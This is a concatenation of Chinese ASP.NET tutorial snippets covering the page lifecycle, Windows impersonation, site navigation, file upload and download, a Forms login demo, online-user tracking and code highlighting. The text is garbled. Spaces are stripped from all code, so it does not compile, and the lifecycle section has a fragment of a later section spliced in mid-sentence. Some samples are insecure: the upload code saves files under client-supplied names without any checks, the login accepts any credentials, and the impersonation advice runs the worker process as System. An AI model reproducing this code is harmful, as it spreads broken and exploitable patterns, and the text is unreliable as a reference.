我们可以发现这个字段被声明成protected,而且名字与ASPX中控件的ID一致,仔细想一想,这个问题就迎刃而解了。我们前面提到ASPX的源代码是被生成器动态生成和编译的,生成器会产生动态生成每一个服务器控件的代码,在生成的时候,它会检查父类有没有声明这个控件,如果声明了,它会添加类似下面的一句代码: this.DataGrid1=__ctrl; 这个__ctrl就是生成该控件的变量,这时候它就把控件的引用赋给了父类中相应的变量,这也是为什么父类中的声明必须为protected(实际上也可以为public),因为要保证子类能够调用。 然后在执行Page_Load的时候,因为这时候父类的声明已经被子类中的初始化代码赋了值,所以我们就可以使用这个字段来访问对应的控件,了解了这些,我们就不会犯在代码绑定文件中的构造器里使用控件,造成空引用的异常的错误了,因为构造器是最先执行的,这时候子类的初始化还没有开始,所以父类中的字段是空值,至于子类是什么时候初始化我们放到后面讨论。 五、页面生存周期 现在回到第三个标题中讲到的内容,我们讲到了HttpApplication的实例接收请求,并创建页面类的实例,实际上这个实例也就是动态编译的ASPX的类的一个实例,上一个标题中我们了解到ASPX实际上是代码绑定中类的子类,所以它继承了所有的protected方法。 现在我们来看看VS.Net自动生成的CodeBehind类的代码,以此来开始我们对页面生命周期的探讨: #regionWebFormDesignergeneratedcode overrideprotectedvoidOnInit(EventArgse){ // //CODEGEN:该调用是ASP.NETWeb窗体设计器所必需的。 // InitializeComponent(); base.OnInit(e);} ///<summary>///设计器支持所需的方法-不要使用代码编辑器修改///此方法的内容。///</summary> privatevoidInitializeComponent(){ this.DataGrid1.ItemDataBound+=newSystem.Web.UI.WebControls.DataGridItemEventHandler(this.DataGrid1_ItemDataBound); this.Load+=newSystem.EventHandler(this.Page_Load);} #endregion 这个就是使用VS.Net产生的Page的代码,我们来看,这里面有两个方法,一个是OnInit,一个是InitializeComponent,后者被前者调用,实际上这就是页面初始化的开始,在InitializeComponent中我们看到了控件的事件声明和Page的Load声明。 下面是从MSDN中摘录的一段描述和一个页面生命周期方法和事件触发的顺序表: “每次请求ASP.NET页时,服务器就会加载一个ASP.NET页,并在请求完成时卸载该页。页及其包含的服务器控件负责执行请求并将HTML呈现给客户端。虽然客户端和服务器之间的通讯是无状态的和断续的,但是必须使客户感觉到这是一个连续执行的过程。” “这种连续性假象是由ASP.NET页框架、页及其控件实现的。回发后,控件的行为必须看起来是从上次Web请求结束的地方开始的。虽然ASP.NET页框架可使执行状态管理相对容易一些,但是为了获得连续性效果,控件开发人员必须知道控件的执行顺序。控件开发人员需要了解:在控件生命周期的各个阶段,控件可使用哪些信息、保持哪些数据、控件呈现时处于哪种状态。例如,在填充页上的控件树之前控件不能调用其父级。”“下表提供了控件生命周期中各阶段的高级概述。有关详细信息,请点击表中的链接。” 阶段控件需要执行的操作要重写的方法或事件 初始化初始化在传入Web请求生命周期内所需的设置。请参阅处理继承的事件。Init事件(OnInit方法) 加载视图状态在此阶段结束时,就会自动填充控件的ViewState属性,详见维护控件中的状态中的介绍。控件可以重写LoadViewState方法的默认实现,以自定义状态还原。LoadViewState方法 处理回发数据处理传入窗体数据,并相应地更新属性。请参阅处理回发数据。注意只有处理回发数据的控件参与此阶段。LoadPostData方法(如果已实现IPostBackDataHandler) 加载执行所有请求共有的操作,如设置数据库查询。此时,树中的服务器控件已创建并初始化、状态已还原并且窗体控件反映了客户端的数据。请参阅处理继承的事件。Load事件(OnLoad方法) 发送回发更改通知引发更改事件以响应当前和以前回发之间的状态更改。请参阅处理回发数据。 注意只有引发回发更改事件的控件参与此阶段。RaisePostDataChangedEvent方法(如果已实现IPostBackDataHandler) 处理回发事件处理引起回发的客户端事件,并在服务器上引发相应的事件。请参阅捕获回发事件。 注意只有处理回发事件的控件参与此阶段。RaisePostBackEvent方法(如果已实现IPostBackEventHandler) 预呈现在呈现输出之前执行任何更新。可以保存在预呈现阶段对控件状态所做的更改,而在呈现阶段所对的更改则会丢失。请参阅处理继承的事件。PreRender事件(OnPreRender方法) 保存状态在此阶段后,自动将控件的ViewState属性保持到字符串对象中。此字符串对象被发送到客户端并作为隐藏变量发送回来。为了提高效率,控件可以重写SaveViewState方法以修改ViewState属性。请参阅维护控件中的状态。SaveViewState方法 呈现生成呈现给客户端的输出。请参阅呈现ASP.NET服务器控件。Render方法 处置执行销毁控件前的所有最终清理操作。在此阶段必须释放对昂贵资源的引用,如数据库链接。请参阅ASP.NET服务器控件中的方法。Dispose方法 卸载执行销毁控件前的所有最终清理操作。控件作者通常在Dispose中执行清除,而不处理此事件。UnLoad事件(OnUnLoad方法) 从这个表里面我们可以清楚的看到一个Page从装载到卸载之间调用的方法和触发的时间,接下来我们就深入的对其进行一些分析。 看了上面的表,细心的朋友可能要问了,既然OnInit是页面生命周期的开始,而我们在上一讲中谈到控件在子类中被创建,那么在这里实际上在InitializeComponent方法中我们已经可以使用父类中声名的字段了,那么就意味着子类的初始化更在这之前? 在第三个标题中我们讲到了页面类的ProcessRequest才是真正意义上的页面声明周期的开始,这个方法是由HttpApplication调用的(其中调用的方式比较复杂,有机会单独撰文来讲解),一个Page对请求的处理就是从这个方法开始,通过反编译.Net类库来查看源代码,我们发现在System.Web.WebControls.Page的基类:System.Web.WebControls.TemplateControl(它是页面和用户控件的基类)中定义了一个“FrameworkInitialize”虚拟方法,然后在Page的ProcessRequest中最先调用了这个方法,在生成器生成的ASPX的源代码中我们发现了这个方法的踪影,所有的控件都在这个方法中被初始化,页面的控件树就在这个时候产生。 接下来的事情就简单了,我们来逐步分析页面生命周期的每一项: 1、初始化 初始化对应Page的Init事件和OnInit方法。 如果要重写,MSDN推荐的方式是重载OnInti方法,而不是增加一个Init事件的代理,这两者是有差别的,前者可以控制调用父类OnInit方法的顺序,而后者只能在父类的OnInit后执行(实际上是在OnInit里面被调用的)。 2、加载视图状态 这是个比较重要的方法,我们知道,对于每次请求,实际上是由不同的页面类实例来处理的,为了保证blicvirtualboolostDataKey是标识控件的关键字(也就是postCollection中的Key),postCollection是包含回发数据的集合,我们可以重写这个方法,然后检查回发的数据是否发生了变化,如果是则返回一个True,“如果控件状态因回发而更改,则LoadPostData返回true;否则返回false。页框架跟踪所有返回true的控件并在这些控件上调用RaisePostDataCh个方法是System.Web.WebControls.Control中定义的,也是所有需要处理事件的自定义控件需要处理的方法,对于我们今天讨论的Page来说,可以不用管它。 3、处理回发数据 这个方法是用来检查客户端发回的控件数据的状态是否发生了改变。方法的原型: publicvirtualboolLoadPostData(stringpostDataKey,NameValueCollectionpostCollection) postDataKey是标识控件的关键字(也就是postCollection中的Key),postCollection是包含回发数据的集合,我们可以重写这个方法,然后检查回发的数据是否发生了变化,如果是则返回一个True,“如果控件状态因回发而更改,则LoadPostData返回true;否则返回false。页框架跟踪所有返回true的控件并在这些控件上调用RaisePostDataChangedEvent。”(摘自MSDN) 这个方法是System.Web.WebControls.Control中定义的,也是所有需要处理事件的自定义控件需要处理的方法,对于我们今天讨论的Page来说,可以不用管它。 4、加载 加载对应Load事件和OnLoad方法,对于这个事件,相信大多数朋友都会比较熟悉,用VS.Net生成的页面中的Page_Load方法就是响应Load事件的方法,对于每一次请求,Load事件都会触发,Page_Load方法也就会执行,相信这也是大多数人了解ASP.Net的第一步 Page_Load方法响应了Load事件,这个事件是在System.Web.WebControl.Control类中定义的(这个类是Page和所有服务器控件的祖宗),并且在OnLoad方法中被触发。 很多人可能碰到过这样的事情,写了一个PageBase类,然后在Page_Load中来验证用户信息,结果发现不管验证是否成功,子类页面的Page_Load总是会先执行,这个时候很可能留下一些安全性的隐患,用户可能在没有得到验证的情况下就执行了子类中的Page_Load方法。 出现这个问题的原因很简单,因为Page_Load方法是在OnInit中被添加到Load事件中的,而子类的OnInit方法中是先添加了Load事件,然后再调用base.OnInit,这样就造成了子类的Page_Load被先添加,那么先执行了。 解决这个问题也很简单,有两种方法: 1)在PageBase中重载OnLoad方法,然后在OnLoad中验证用户,然后调用base.OnLoad,因为Load事件是在OnLoad中触发,这样我们就可以保证在触发Load事件之前验证用户。 2)在子类的OnInit方法中先调用base.OnInit,这样来保证父类先执行Page_Load 5、发送回发更改通知 这个方法对应第3步的处理回发数据,如果处理回发数据返回True,页面框架就会调用此方法来触发数据更改的事件,所以自定义控件的回发数据更改事件需要在此方法中触发。 同样这个方法对于Page来说,没有太大的用处,当然你也可以在Page的基础上自己定义数据更改的事件,这当然也是可以的。 6、处理回发事件 这个方法是大多数服务器控件事件引发的地方,当请求中包含控件事件触发的信息时(服务器控件的事件是另一个论题,我会在不久将来另外撰文讨论),页面控件会调用相应控件的RaisePostBackEvent方法来引发服务器端的事件。 这里又引出一个常见的问题: 经常有网友问,为什么修改提交后的数据并没有更改 多数的情况都是他们没有理解服务器事件的触发流程,我们可以看出,触发服务器事件是在Page的Load之后,也就是说页面会先执行Page_Load,然后才会执行按钮(这里以按钮为例)的点击事件,很多朋友都是在Page_Load中绑定数据,然后在按钮事件中处理更改,这样做有一个毛病,Page_Load永远都是在按钮事件之前执行,那么意味着数据还没来得及更改,Page_Load中的数据绑定的代码就先执行了,原有的数据又赋给了控件,那么执行按钮事件的时候,实际上获得的是原有的数据,那么更新当然就没有效果了。 更改这个问题也非常简单,比较合理的做法是把数据绑定的代码写成一个方法,我们假设为BindData: privatevoidBindData(){ //绑定数据} 然后修改PageLoad: privatevoidPage_Load(objectsender,EventArgse){ if(!IsPostBack) {BindData();//在页面第一次访问的时候绑定数据 }} 最后在按钮事件中: privateButton1_Click(objectsender,EventArgse){ //更新数据 BindData();//重新绑定数据} 7、预呈现 最终请求的处理都会转变为发回服务器的响应,预呈现这个阶段就是执行在最终呈现之前所作的状态的更改,因为在呈现一个控件之前,我们必须根据它的属性来产生Html,比如Style属性,这是最典型的例子,在预呈现之前,我们可以更改一个控件的Style,当执行预呈现的时候,我们就可以把Style保存下来,作为呈现阶段显示Html的样式信息。 8、保存状态 这个阶段是针对加载状态的,我们多次提到,请求之间是不同的实例在处理,所以我们需要把本次的页面和控件的状态保存起来,这个阶段就是把状态写入ViewState的阶段。 9、呈现 到这里,实际上页面对请求的处理基本就告一段落了,在Render方法中,会递归整个页面的控件树,依次调用Render方法,把对应的Html代码写入最终响应的流中。 10、处置 实际上就是Dispose方法,在这个阶段会释放占用的资源,例如数据库连接。 11、卸载 最后,页面会执行OnUnLoad方法触发UnLoad事件,处理在页面对象被销毁之前的最后处理,实际上ASP.Net提供这个事件只是设计上的考虑,通常资源的释放都会在Dispose方法中完成,所以这个方法也变成鸡肋了。 我们简单的介绍了页面的生存周期,对于服务器端事件的处理做了不太深入的讲解,今天主要是想大家了解页面执行的周期,对于服务器控件的事件和生存期我会在后续在写一些文章来探讨。 这些内容是我在学习ASP.Net的时候对Page研究的一些心得,具体的细节没有很详细的探讨,更多的内容请大家参考MSDN,但是我举了一些初学者常犯的错误和出现错误的原因,希望可以给大家带来启发。
我曾经成功地使用windows程序成功的创建了一批带邮箱的域帐户,但是,当我把这段代码交给我的一个同事(她负责开发Web应用)迁移到asp.net中后,只能创建域帐户,不能创建邮箱。为什么呢? 我们咨询了微软的工程师,他告诉我们,这是由于asp.net的权限不够,我们应该在asp.net模拟用户,这样就可以成功创建。 我将微软的相关文章摘录下来: 模拟IIS验证的帐户或用户 若要在收到ASP.NET应用程序中每个页的每个请求时模拟MicrosoftInternet信息服务(IIS)身份验证用户,必须在此应用程序的Web.config文件中包含<identity>标记,并将impersonate属性设置为true。例如: <identityimpersonate="true"/> 为ASP.NET应用程序的所有请求模拟特定用户 若要为ASP.NET应用程序的所有页面上的所有请求模拟特定用户,可以在该应用程序的Web.config文件的<identity>标记中指定userName和password属性。例如: <identityimpersonate="true"userName="accountname"password="password"/> 注意:在线程上模拟特定用户的进程的标识必须具有“作为操作系统的一部分”权限。默认情况下,Aspnet_wp.exe进程在名为ASPNET的计算机帐户下运行。不过,此帐户没有模拟特定用户所需的权限。如果您尝试模拟特定用户,则会出现一条错误信息。 要解决此问题,请使用下列方法之一: •为ASPNET帐户(权限最低的帐户)授予“作为操作系统的一部分”权限。 注意:虽然此方法可以解决问题,但Microsoft不建议使用此方法。 •在Machine.config文件的<processModel>配置部分中,将运行Aspnet_wp.exe进程所使用的帐户更改为System帐户。 在代码中模拟身份验证用户 若要仅在运行代码特定部分时模拟身份验证用户(User.Identity),您可以使用以下代码。此方法要求身份验证用户标识的类型为WindowsIdentity。 VisualBasic.NET DimimpersonationContextAsSystem.Security.Principal.WindowsImpersonationContextDimcurrentWindowsIdentityAsSystem.Security.Principal.WindowsIdentitycurrentWindowsIdentity=CType(User.Identity,System.Security.Principal.WindowsIdentity)impersonationContext=currentWindowsIdentity.Impersonate()'Insertyourcodethatrunsunderthesecuritycontextoftheauthenticatinguserhere.impersonationContext.Undo() VisualC#.NET System.Security.Principal.WindowsImpersonationContextimpersonationContext;impersonationContext=((System.Security.Principal.WindowsIdentity)User.Identity).Impersonate();//Insertyourcodethatrunsunderthesecuritycontextoftheauthenticatinguserhere.impersonationContext.Undo(); VisualJ#.NET System.Security.Principal.WindowsImpersonationContextimpersonationContext;impersonationContext=((System.Security.Principal.WindowsIdentity)get_User().get_Identity()).Impersonate();//Insertyourcodethatrunsunderthesecuritycontextoftheauthenticatinguserhere.impersonationContext.Undo(); 在代码中模拟特定用户 若要仅在运行代码特定部分时模拟特定用户,请使用以下代码: VisualBasic.NET <%@PageLanguage="VB"%><%@ImportNamespace="System.Web"%><%@ImportNamespace="System.Web.Security"%><%@ImportNamespace="System.Security.Principal"%><%@ImportNamespace="System.Runtime.InteropServices"%><scriptrunat=server>DimLOGON32_LOGON_INTERACTIVEAsInteger=2DimLOGON32_PROVIDER_DEFAULTAsInteger=0DimimpersonationContextAsWindowsImpersonationContextDeclareFunctionLogonUserALib"advapi32.dll"(ByVallpszUsernameAsString,_ByVallpszDomainAsString,_ByVallpszPasswordAsString,_ByValdwLogonTypeAsInteger,_ByValdwLogonProviderAsInteger,_ByRefphTokenAsIntPtr)AsIntegerDeclareAutoFunctionDuplicateTokenLib"advapi32.dll"(_ByValExistingTokenHandleAsIntPtr,_ByValImpersonationLevelAsInteger,_ByRefDuplicateTokenHandleAsIntPtr)AsIntegerDeclareAutoFunctionRevertToSelfLib"advapi32.dll"()AsLongDeclareAutoFunctionCloseHandleLib"kernel32.dll"(ByValhandleAsIntPtr)AsLongPublicSubPage_Load(ByValsAsObject,ByValeAsEventArgs)IfimpersonateValidUser("username","domain","password")Then'Insertyourcodethatrunsunderthesecuritycontextofaspecificuserhere.undoImpersonation()Else'Yourimpersonationfailed.Therefore,includeafail-safemechanismhere.EndIfEndSubPrivateFunctionimpersonateValidUser(ByValuserNameAsString,_ByValdomainAsString,ByValpasswordAsString)AsBooleanDimtempWindowsIdentityAsWindowsIdentityDimtokenAsIntPtr=IntPtr.ZeroDimtokenDuplicateAsIntPtr=IntPtr.ZeroimpersonateValidUser=FalseIfRevertToSelf()ThenIfLogonUserA(userName,domain,password,LOGON32_LOGON_INTERACTIVE,LOGON32_PROVIDER_DEFAULT,token)<>0ThenIfDuplicateToken(token,2,tokenDuplicate)<>0ThentempWindowsIdentity=NewWindowsIdentity(tokenDuplicate)impersonationContext=tempWindowsIdentity.Impersonate()IfNotimpersonationContextIsNothingThenimpersonateValidUser=TrueEndIfEndIfEndIfEndIfIfNottokenDuplicate.Equals(IntPtr.Zero)ThenCloseHandle(tokenDuplicate)EndIfIfNottoken.Equals(IntPtr.Zero)ThenCloseHandle(token)EndIfEndFunctionPrivateSubundoImpersonation()impersonationContext.Undo()EndSub</script> VisualC#.NET <%@PageLanguage="C#"%><%@ImportNamespace="System.Web"%><%@ImportNamespace="System.Web.Security"%><%@ImportNamespace="System.Security.Principal"%><%@ImportNamespace="System.Runtime.InteropServices"%><scriptrunat=server>publicconstintLOGON32_LOGON_INTERACTIVE=2;publicconstintLOGON32_PROVIDER_DEFAULT=0;WindowsImpersonationContextimpersonationContext;[DllImport("advapi32.dll")]publicstaticexternintLogonUserA(StringlpszUserName,StringlpszDomain,StringlpszPassword,intdwLogonType,intdwLogonProvider,refIntPtrphToken);[DllImport("advapi32.dll",CharSet=CharSet.Auto,SetLastError=true)]publicstaticexternintDuplicateToken(IntPtrhToken,intimpersonationLevel,refIntPtrhNewToken);[DllImport("advapi32.dll",CharSet=CharSet.Auto,SetLastError=true)]publicstaticexternboolRevertToSelf();[DllImport("kernel32.dll",CharSet=CharSet.Auto)]publicstaticexternboolCloseHandle(IntPtrhandle);publicvoidPage_Load(Objects,EventArgse){if(impersonateValidUser("username","domain","password")){//Insertyourcodethatrunsunderthesecuritycontextofaspecificuserhere.undoImpersonation();}else{//Yourimpersonationfailed.Therefore,includeafail-safemechanismhere.}}privateboolimpersonateValidUser(StringuserName,Stringdomain,Stringpassword){WindowsIdentitytempWindowsIdentity;IntPtrtoken=IntPtr.Zero;IntPtrtokenDuplicate=IntPtr.Zero;if(RevertToSelf()){if(LogonUserA(userName,domain,password,LOGON32_LOGON_INTERACTIVE,LOGON32_PROVIDER_DEFAULT,reftoken)!=0){if(DuplicateToken(token,2,reftokenDuplicate)!=0){tempWindowsIdentity=newWindowsIdentity(tokenDuplicate);impersonationContext=tempWindowsIdentity.Impersonate();if(impersonationContext!=null){CloseHandle(token);CloseHandle(tokenDuplicate);returntrue;}}}}if(token!=IntPtr.Zero)CloseHandle(token);if(tokenDuplicate!=IntPtr.Zero)CloseHandle(tokenDuplicate);returnfalse;}privatevoidundoImpersonation(){impersonationContext.Undo();}</script> VisualJ#.NET <%@Pagelanguage="VJ#"%><%@ImportNamespace="System.Web"%><%@ImportNamespace="System.Web.Security"%><%@ImportNamespace="System.Security.Principal"%><%@ImportNamespace="System.Runtime.InteropServices"%><scriptrunat=server>publicstaticintLOGON32_LOGON_INTERACTIVE=2;publicstaticintLOGON32_PROVIDER_DEFAULT=0;WindowsImpersonationContextimpersonationContext;/**@attributeDllImport("advapi32.dll")*/publicstaticnativeintLogonUserA(StringlpszUserName,StringlpszDomain,StringlpszPassword,intdwLogonType,intdwLogonProvider,System.IntPtr[]phToken);/**@attributeDllImport("advapi32.dll",CharSet=CharSet.Auto,SetLastError=true)*/publicstaticnativeintDuplicateToken(System.IntPtrhToken,intimpersonationLevel,System.IntPtr[]hNewToken);/**@attributeDllImport("kernel32.dll",CharSet=CharSet.Auto)*/publicstaticnativebooleanCloseHandle(System.IntPtr[]handle);/**@attributeDllImport("advapi32.dll",CharSet=CharSet.Auto,SetLastError=true)*/publicstaticnativebooleanRevertToSelf();publicvoidPage_Load(Objects,System.EventArgse){if(impersonateValidUser("username","domain","password")){//Insertyourcodethatrunsunderthesecuritycontextofaspecificuserhere.undoImpersonation();}else{//Yourimpersonationfailed.Therefore,includeafail-safemechanismhere.}}privatebooleanimpersonateValidUser(StringuserName,Stringdomain,Stringpassword){WindowsIdentitytempWindowsIdentity;System.IntPtr[]token=newSystem.IntPtr[1];System.IntPtr[]tokenDuplicate=newSystem.IntPtr[1];if(RevertToSelf()){if(LogonUserA(userName,domain,password,LOGON32_LOGON_INTERACTIVE,LOGON32_PROVIDER_DEFAULT,token)!=0){if(DuplicateToken(token[0],2,tokenDuplicate)!=0){tempWindowsIdentity=newWindowsIdentity(tokenDuplicate[0]);impersonationContext=tempWindowsIdentity.Impersonate();if(impersonationContext!=null){CloseHandle(tokenDuplicate);CloseHandle(token);returntrue;}}}}if(!token[0].Equals(System.IntPtr.Zero))CloseHandle(token);if(!tokenDuplicate[0].Equals(System.IntPtr.Zero))CloseHandle(tokenDuplicate);returnfalse;}privatevoidundoImpersonation(){impersonationContext.Undo();}</script> 注意:在线程上模拟特定用户的进程的标识必须具有“作为操作系统的一部分”权限。默认情况下,Aspnet_wp.exe进程在名为ASPNET的计算机帐户下运行。不过,此帐户没有模拟特定用户所需的权限。如果您尝试模拟特定用户,则会出现一条错误信息。 要解决此问题,请使用下列方法之一: •为ASPNET帐户授予“作为操作系统的一部分”权限。 •在Machine.config文件的<processModel>配置部分中,将运行Aspnet_wp.exe进程所使用的帐户更改为System帐户。
在ASP.NET2.0中,没有专门的页面导航控件,但可以使用SITEMAPdatasource配和DATALIST来实现。 SITEMAPDATASOURCE控件中,需要特别的建立一个web.sitemap的XML文件,该文件中存贮网站的结构, 比如 <?xmlversion="1.0"encoding="utf-8"?><siteMapxmlns="http://schemas.microsoft.com/AspNet/SiteMap-File-1.0"><siteMapNodeurl="default.aspx?id=-1"title="首页"><siteMapNodeurl="default2.aspx?id=0"title="商品"/><siteMapNodeurl="default3.aspx?id=1"title="社区"/></siteMapNode></siteMap> 之后,在default.aspx中,写入代码: <%@PageLanguage="C#"%><scriptrunat=server>protectedvoidPage_Load(){intindex=-1;Int32.TryParse(Request.QueryString["id"],outindex);Tabs.SelectedIndex=index;}</script><htmlxmlns="http://www.w3.org/1999/xhtml"><headid="Head1"runat="server"><title>UntitledPage</title><style>a{color:#000000;text-decoration:none;}.myTab{background:#6666ff;padding:4px;}.myTabSelected{background:#ff00ff;padding:4px;}</style></head><body><formid="form1"runat="server"><div><table><asp:DataListRepeatDirection=HorizontalID="Tabs"runat="server"DataSourceID="SiteMapDataSource1"><ItemTemplate><tdwidth="4"height="20"valign="top"nowrapclass="myTab"><ahref='<%#Eval("Url")%>'><%#Eval("Title")%></a></td></ItemTemplate><SelectedItemTemplate><tdwidth="4"height="20"valign="top"nowrapclass="myTabSelected"><ahref='<%#Eval("Url")%>'><%#Eval("Title")%></a></td></SelectedItemTemplate></asp:DataList></table><asp:SiteMapDataSourceShowStartingNode=falseID="SiteMapDataSource1"runat="server"/></div></form></body></html> 就可以实现简单的页面导航的效果了
一下为代码片段: privateBooleanSaveFiles(){//得到File表单元素HttpFileCollectionfiles=HttpContext.Current.Request.Files;try{for(intintCount=0;intCount<files.Count;intCount++){HttpPostedFilepostedFile=files[intCount];stringfileName,fileExtension;//获得文件名字fileName=System.IO.Path.GetFileName(postedFile.FileName);if(fileName!=""){//获得文件名扩展fileExtension=System.IO.Path.GetExtension(fileName);//可根据不同的扩展名字,保存文件到不同的文件夹//注意:可能要修改你的文件夹的匿名写入权限。postedFile.SaveAs(System.Web.HttpContext.Current.Request.MapPath("upFiles/")+fileName);}}returntrue;}catch(System.ExceptionEx){returnfalse;}}
当访问默认首页default.aspx时,会自动跳转到login.aspx页面上请求登录,随便输入用户名和密码,点击“登录”按钮,会回到首页,并显示当前登录的用户名。 Web.config <configuration><system.web><compilationdebug="true"/><authenticationmode="Forms"><formsloginUrl="login.aspx"name=".ASPXFORMSAUTH"/></authentication><authorization><denyusers="?"/></authorization></system.web></configuration> default.aspx <HTML><HEAD><TITLE>首页</TITLE><scriptlanguage="VB"runat="server">SubPage_Load(SenderAsObject,eAsEventArgs)Message.Text=String.Format("你好,{0}",Context.User.Identity.Name)EndSubsubbtnSignout_Click(SenderasObject,EasEventArgs)FormsAuthentication.SignOut()Response.Redirect("login.aspx")endsub</script></HEAD><BODY><asp:labelid="Message"runat="server"/><br><formmethod="post"runat="server"><asp:buttonid="btnSignout"Text="退出登录"runat="server"OnClick="btnSignout_Click"/></form></BODY></HTML> login.aspx <HEAD><TITLE>首页</TITLE><scriptlanugage="c#"runat="server">privatevoidPage_Load(objectsender,EventArgse){if(Request.IsAuthenticated)Response.Redirect("default.aspx");}voidbtnLogin_Click(Objectsender,EventArgse){if(txtUsername.Text!=null&&txtUsername.Text!=String.Empty&&txtPassword.Text!=null&&txtPassword.Text!=String.Empty)FormsAuthentication.RedirectFromLoginPage(txtUsername.Text,true);elselblError.Text="错误的用户名/密码";}</script></HEAD><BODY><formmethod="post"runat="server"><asp:Labelid="lblUsername"runat="server"Text="用户名:"/>&nbsp;&nbsp;&nbsp;<asp:Textboxid="txtUsername"runat="server"/><br><br><asp:Labelid="lblPassword"runat="server"Text="密 码:"/>&nbsp;&nbsp;&nbsp;<asp:Textboxid="txtPassword"runat="server"TextMode="password"/><br><asp:buttonid="btnLogin"runat="server"Text="登录"OnClick="btnLogin_Click"/></form><hr><br><asp:Labelid="lblError"forecolor="red"runat="server"/></BODY></HTML>
以下为代码片段: //输出硬盘文件,提供下载支持大文件、续传、速度限制、资源占用小//输入参数_Request:Page.Request对象,_Response:Page.Response对象,_fileName:下载文件名,_fullPath:带文件名下载路径,_speed每秒允许下载的字节数//返回是否成功publicstaticboolResponseFile(HttpRequest_Request,HttpResponse_Response,string_fileName,string_fullPath,long_speed){try{FileStreammyFile=newFileStream(_fullPath,FileMode.Open,FileAccess.Read,FileShare.ReadWrite);BinaryReaderbr=newBinaryReader(myFile);try{_Response.AddHeader("Accept-Ranges","bytes");_Response.Buffer=false;longfileLength=myFile.Length;longstartBytes=0;intpack=10240;//10Kbytes//intsleep=200;//每秒5次即5*10Kbytes每秒intsleep=(int)Math.Floor(1000*pack/_speed)+1;if(_Request.Headers["Range"]!=null){_Response.StatusCode=206;string[]range=_Request.Headers["Range"].Split(newchar[]{'=','-'});startBytes=Convert.ToInt64(range[1]);}_Response.AddHeader("Content-Length",(fileLength-startBytes).ToString());if(startBytes!=0){_Response.AddHeader("Content-Range",string.Format("bytes{0}-{1}/{2}",startBytes,fileLength-1,fileLength));}_Response.AddHeader("Connection","Keep-Alive");_Response.ContentType="application/octet-stream";_Response.AddHeader("Content-Disposition","attachment;filename="+HttpUtility.UrlEncode(_fileName,System.Text.Encoding.UTF8));br.BaseStream.Seek(startBytes,SeekOrigin.Begin);intmaxCount=(int)Math.Floor((fileLength-startBytes)/pack)+1;for(inti=0;i<maxCount;i++){if(_Response.IsClientConnected){_Response.BinaryWrite(br.ReadBytes(pack));Thread.Sleep(sleep);}else{i=maxCount;}}}catch{returnfalse;}finally{br.Close();myFile.Close();}}catch{returnfalse;}returntrue;} 调用例 Page.Response.Clear();boolsuccess=ResponseFile(Page.Request,Page.Response,"filename",@"C:/download.date",1024000);if(!success)Response.Write("下载文件出错!");Page.Response.End();
以下为程序代码: string_FontName=Request["fontname"].ToString();int_FontSize=Convert.ToInt16(Request["fontsize"]);string_ShowName=Request["str"].ToString();BitmapobjBitmap=null;Graphicsg=null;FontstringFont=newFont(_FontName,_FontSize,FontStyle.Bold);StringFormatstringFormat=newStringFormat();stringFormat.FormatFlags=StringFormatFlags.NoWrap;try{objBitmap=newBitmap(1,1);g=Graphics.FromImage(objBitmap);SizeFstringSize=g.MeasureString(_ShowName,stringFont);intnWidth=(int)stringSize.Width;intnHeight=(int)stringSize.Height;g.Dispose();objBitmap.Dispose();objBitmap=newBitmap(nWidth,nHeight);g=Graphics.FromImage(objBitmap);g.FillRectangle(newSolidBrush(Color.Yellow),newRectangle(0,0,nWidth,nHeight));g.TextRenderingHint=TextRenderingHint.AntiAlias;g.DrawString(_ShowName,stringFont,newSolidBrush(Color.Black),newPointF(0,0),stringFormat); objBitmap.Save(Response.OutputStream,ImageFormat.Gif);}catch(Exceptionee){Response.Write(ee.ToString());}finally{if(null!=g)g.Dispose();if(null!=objBitmap)objBitmap.Dispose();Response.End();}
一、原理 在.net中的global.asax中有Application_AuthenticateRequest事件和Application_BeginRequest事件是在每次访问aspx文件都会触发。但是Application_BeginRequest中不能对已经经过FROMS身份验证的身份ticket票进行识别。所以只能放到Application_AuthenticateRequest中去。 我的实现原理是:每次访问aspx文件时候都会判断在线表里面是否有这个用户(已经登录了的记录用户名,没有登录的记录IP地址),如果不存在,则将该用户的身份、最后访问时间、最后访问IP、和最后访问的URL存入数据库。如果数据库中已经曾在,则更新该记录,把最后访问时间,IP以及最后访问URL更新。 同时,删除数据库中与当前时间间隔20分钟以上的数据(20分钟没操作当为超时)。 二、优点 这样,你不仅仅可以看到当前在线的准确人数,还知道是那些人在线,以及是否登陆,和访问人数中已经是会员的比例,以及所在位置,并计算某个页上的人数。 三、数据库结构: 主键字段类型长度是否为空说明1uson_serialint40序号0uson_uservarchar200用户名(没登陆则为IP)0uson_companyvarchar1000公司名(没登陆则为'游客')0uson_ipvarchar200IP地址0uson_datedatetime80最后操作时间0uson_urlvarchar1000最后操作页面路径 四、程序 注意:1、程序位于global.asax中2、我是使用的FORMS身份验证3、请usingSystem.Web.Security protectedvoidApplication_AuthenticateRequest(Objectsender,EventArgse){stringstrUserID=string.Empty;stringstrCompany=string.Empty;if(Request.IsAuthenticated){FormsIdentityidentity=(FormsIdentity)User.Identity;FormsAuthenticationTicketticket=identity.Ticket;strUserID=User.Identity.Name;strCompany=ticket.UserData.Split("|".ToCharArray())[2];}else{strUserID=Request.UserHostAddress;strCompany="游客";}MemberOnlineInfoobjOnline=newMemberOnlineInfo(strUserID,Request.UserHostAddress,DateTime.Now.ToString(),Request.FilePath,strCompany);MemberAccountaccount=newMemberAccount();if(!account.CheckUserOnline(strUserID))account.AddOnline(objOnline);elseaccount.UpdateOnline(objOnline);//删除超时的会员account.DeleteOnline();}
以下是代码: StringWritertextBuffer=newStringWriter();Matchmatch=Regex.Match(HTMLStr,@"/",RegexOptions.IgnoreCase|RegexOptions.Compiled);if(match==null){Response.Write(HTMLStr);return;}stringcodeType=match.Groups["codeType"].Value;stringcontent=match.Groups["codeContent"].Value;if(codeType==String.Empty||content==String.Empty){Response.Write(HTMLStr);return;}//MessageBox.Show(codeType);//MessageBox.Show(content);string[]sr=content.Split(Convert.ToChar("/n"));if(codeType=="C#"){textBuffer.Write("<Csharp>/r/n");foreach(stringsourceLineinsr){textBuffer.Write(FixCSLine(sourceLine));textBuffer.Write("/r/n");}textBuffer.Write("</Csharp>");}elseif(codeType=="JScript.Net"){textBuffer.Write("<JScript.Net>/r/n");foreach(stringsourceLineinsr){textBuffer.Write(FixJSLine(sourceLine));textBuffer.Write("/r/n");}textBuffer.Write("</JScript.Net>");}elseif(codeType=="VB"){textBuffer.Write("<VB>/r/n");foreach(stringsourceLineinsr){textBuffer.Write(FixVBLine(sourceLine));textBuffer.Write("/r/n");}textBuffer.Write("</VB>");}
